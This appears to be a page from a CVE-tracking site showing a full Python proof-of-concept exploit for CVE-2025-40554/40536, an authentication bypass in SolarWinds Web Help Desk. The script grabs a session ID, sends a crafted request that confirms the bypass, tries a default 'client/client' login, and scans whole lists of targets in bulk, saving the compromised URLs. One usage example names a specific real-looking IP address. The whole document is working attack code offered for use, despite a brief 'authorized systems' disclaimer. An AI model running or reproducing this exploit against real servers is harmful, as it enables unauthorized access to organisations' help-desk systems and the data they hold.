4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_auth_bypass.py PY
#!/usr/bin/env python3
"""
CVE-2025-40554 / CVE-2025-40536 - SolarWinds Web Help Desk auth bypass + login PoC.

Single script: -t single target, -l target list. Auth bypass then client/client login.
Saves vulnerable+login only (default: vulnerable_login.txt). Use only on authorized systems.
"""

import argparse
import re
import sys
import urllib.parse
from typing import List, Optional, Tuple

import requests

try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
    pass

VERIFY_SSL = False
TIMEOUT = 12


def normalize_base_url(url: str) -> str:
    parsed = urllib.parse.urlparse(url)
    base = f"{parsed.scheme or 'https'}://{parsed.netloc}"
    return base.rstrip("/")


def get_session(base_url: str) -> Tuple[requests.Session, Optional[str], Optional[str]]:
    session = requests.Session()
    session.verify = VERIFY_SSL
    session.headers.update({
        "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-40554-PoC/1.0)",
        "X-Webobjects-Recording": "1",
    })
    url = f"{base_url}/helpdesk/WebObjects/Helpdesk.woa"
    try:
        r = session.get(url, timeout=TIMEOUT, allow_redirects=True)
    except requests.RequestException:
        return session, None, None
    if r.status_code != 200:
        return session, None, None
    wosid = None
    for h, v in r.headers.items():
        if h.lower() == "x-webobjects-session-id":
            m = re.match(r"([a-zA-Z0-9]{22})", v.strip())
            if m:
                wosid = m.group(1)
            break
    if not wosid:
        wosid = session.cookies.get("wosid")
        if wosid:
            m = re.match(r"^([a-zA-Z0-9]{22})$", wosid)
            wosid = m.group(1) if m else None
    if not wosid:
        m = re.search(r"[xX]-[wW]eb[oO]bjects-[sS]ession-[iI]d:\s*([a-zA-Z0-9]{22})", r.text)
        if m:
            wosid = m.group(1)
    if not wosid and "Set-Cookie" in str(r.headers):
        m = re.search(r"[wW]osid=([a-zA-Z0-9]{22})", str(r.headers.get("Set-Cookie", "")))
        if m:
            wosid = m.group(1)
    xsrf = session.cookies.get("XSRF-TOKEN") or session.cookies.get("xsrf-token")
    if not xsrf and "Set-Cookie" in str(r.headers.get("Set-Cookie", "")):
        m = re.search(r"XSRF-TOKEN=([a-z0-9-]+)", str(r.headers.get("Set-Cookie", "")), re.I)
        if m:
            xsrf = m.group(1)
    return session, wosid, xsrf


def check_bypass(base_url: str, session: requests.Session, wosid: str, xsrf: Optional[str]) -> bool:
    path = f"/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{wosid}/1.0"
    params = {"badparam": "/ajax/", "wopage": "LoginPref"}
    headers = {}
    if xsrf:
        headers["X-Xsrf-Token"] = xsrf
    try:
        r = session.get(f"{base_url}{path}", params=params, timeout=TIMEOUT, headers=headers or None)
    except requests.RequestException:
        return False
    if r.status_code != 200:
        return False
    indicators = ("externalAuthContainer", "JSONRpcClient", "SAML 2.0", "LoginPref")
    return any(i in r.text for i in indicators)


def parse_login_form(html: str, base_url: str) -> Optional[dict]:
    m = re.search(r'action="(/helpdesk/WebObjects/Helpdesk\.woa/wo/[^"]+)"', html)
    if not m:
        return None
    action_path = m.group(1)
    m = re.search(r'name="_csrf"[^>]*value="([^"]+)"', html)
    csrf = m.group(1) if m else None
    m = re.search(r'MDSSubmitLink([0-9.]+)', html)
    submit_id = m.group(1) if m else None
    if not action_path or not csrf or not submit_id:
        return None
    return {"action_url": base_url + action_path, "_csrf": csrf, "submit_id": submit_id}


def check_login(base_url: str, session: requests.Session, xsrf: Optional[str], user: str = "client", password: str = "client") -> bool:
    url = f"{base_url}/helpdesk/WebObjects/Helpdesk.woa"
    try:
        r = session.get(url, timeout=TIMEOUT, allow_redirects=True)
    except requests.RequestException:
        return False
    if r.status_code != 200:
        return False
    form = parse_login_form(r.text, base_url)
    if not form:
        return False
    data = {
        "userName": user,
        "password": password,
        "_csrf": form["_csrf"],
        "MDSForm__EnterKeyPressed": "0",
        "MDSForm__ShiftKeyPressed": "0",
        "MDSForm__AltKeyPressed": "0",
        form["submit_id"]: form["submit_id"],
    }
    headers = {}
    if xsrf:
        headers["X-Xsrf-Token"] = xsrf
    try:
        post = session.post(form["action_url"], data=data, headers=headers or None, timeout=TIMEOUT, allow_redirects=True)
    except requests.RequestException:
        return False
    if post.status_code in (302, 303, 307):
        return True
    if "loginForm" not in post.text:
        return True
    if post.cookies.get("whdauth_helpdesk"):
        return True
    return False


def extract_base_url_from_line(line: str) -> Optional[str]:
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    m = re.search(r"(https?://[^\s/\"]+(?::\d+)?)", line)
    return m.group(1).rstrip("/") if m else None


def run_one(base_url: str, do_login: bool, quiet: bool = False) -> Tuple[bool, bool]:
    """Run bypass + optional login. Returns (vulnerable, login_ok)."""
    base_url = normalize_base_url(base_url)
    if not quiet:
        print(f"[*] Target: {base_url}")
        print("[*] Getting session...")
    session, wosid, xsrf = get_session(base_url)
    if not wosid:
        if not quiet:
            print("[!] No session (wosid). Target may not be WHD or patched.")
        return False, False
    if not quiet:
        print("[*] Checking auth bypass...")
    if not check_bypass(base_url, session, wosid, xsrf):
        if not quiet:
            print("[!] Not vulnerable (bypass failed).")
        return False, False
    if not quiet:
        print("[+] Auth bypass confirmed.")
    if not do_login:
        return True, False
    if not quiet:
        print("[*] Trying login (client/client)...")
    login_ok = check_login(base_url, session, xsrf)
    if not quiet:
        print("[+] Login OK" if login_ok else "[!] Login failed")
    return True, login_ok


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-40554: auth bypass + login PoC. Single script for -t / -l. Saves vulnerable+login only.",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s -t https://203.106.221.203:8443
  %(prog)s -t https://target:8443 --no-login
  %(prog)s -l result_all.txt
  %(prog)s -l targets.txt -o vulnerable_login.txt
        """ % {"prog": "exploit_auth_bypass.py"},
    )
    g = parser.add_mutually_exclusive_group(required=True)
    g.add_argument("-t", "--target", metavar="URL", help="Single target URL")
    g.add_argument("-l", "--list", metavar="FILE", dest="list_file", help="Target list (one URL or Nuclei-style line per line)")
    parser.add_argument("--no-login", action="store_true", help="Bypass only, skip client/client login")
    parser.add_argument("-o", "--output", metavar="FILE", default="vulnerable_login.txt", help="Output file for vulnerable+login URLs (default: vulnerable_login.txt)")
    parser.add_argument("-q", "--quiet", action="store_true", help="Quiet (with -l: print only login-OK URLs)")
    args = parser.parse_args()

    do_login = not args.no_login

    if args.target:
        base_url = normalize_base_url(args.target)
        vuln, ok = run_one(base_url, do_login, quiet=False)
        sys.exit(0 if vuln else 5)

    # -l list
    try:
        lines = open(args.list_file).readlines()
    except FileNotFoundError:
        print(f"[!] File not found: {args.list_file}")
        sys.exit(1)
    urls: List[str] = []
    seen = set()
    for line in lines:
        base = extract_base_url_from_line(line)
        if base and base not in seen:
            seen.add(base)
            urls.append(base)
    if not urls:
        print("[!] No valid URLs in list.")
        sys.exit(1)
    if not args.quiet:
        print(f"[*] Loaded {len(urls)} targets from {args.list_file}")
        if do_login:
            print("[*] Bypass + login (client/client). Saving vulnerable+login only.")
        else:
            print("[*] Bypass only.")
    login_ok_list: List[str] = []
    vulnerable_list: List[str] = []
    for i, base_url in enumerate(urls, 1):
        if not args.quiet:
            print(f"[{i}/{len(urls)}] {base_url} ... ", end="", flush=True)
        try:
            vuln, ok = run_one(base_url, do_login, quiet=True)
            if vuln:
                vulnerable_list.append(base_url)
                if ok:
                    login_ok_list.append(base_url)
                    if not args.quiet:
                        print("[vulnerable] [login OK]")
                    else:
                        print(base_url)
                else:
                    if not args.quiet:
                        print("[vulnerable]")
            else:
                if not args.quiet:
                    print("[no]")
        except Exception:
            if not args.quiet:
                print("[error]")
    if not args.quiet:
        print()
        print(f"Total: {len(vulnerable_list)} vulnerable, {len(login_ok_list)} with login OK")
    if do_login and login_ok_list:
        with open(args.output, "w") as f:
            for u in login_ok_list:
                f.write(u + "\n")
        if not args.quiet:
            print(f"Saved: {args.output} ({len(login_ok_list)} URLs)")
    elif not do_login and vulnerable_list:
        with open(args.output, "w") as f:
            for u in vulnerable_list:
                f.write(u + "\n")
        if not args.quiet:
            print(f"Saved: {args.output} ({len(vulnerable_list)} vulnerable)")
    sys.exit(0 if login_ok_list or vulnerable_list else 5)


if __name__ == "__main__":
    main()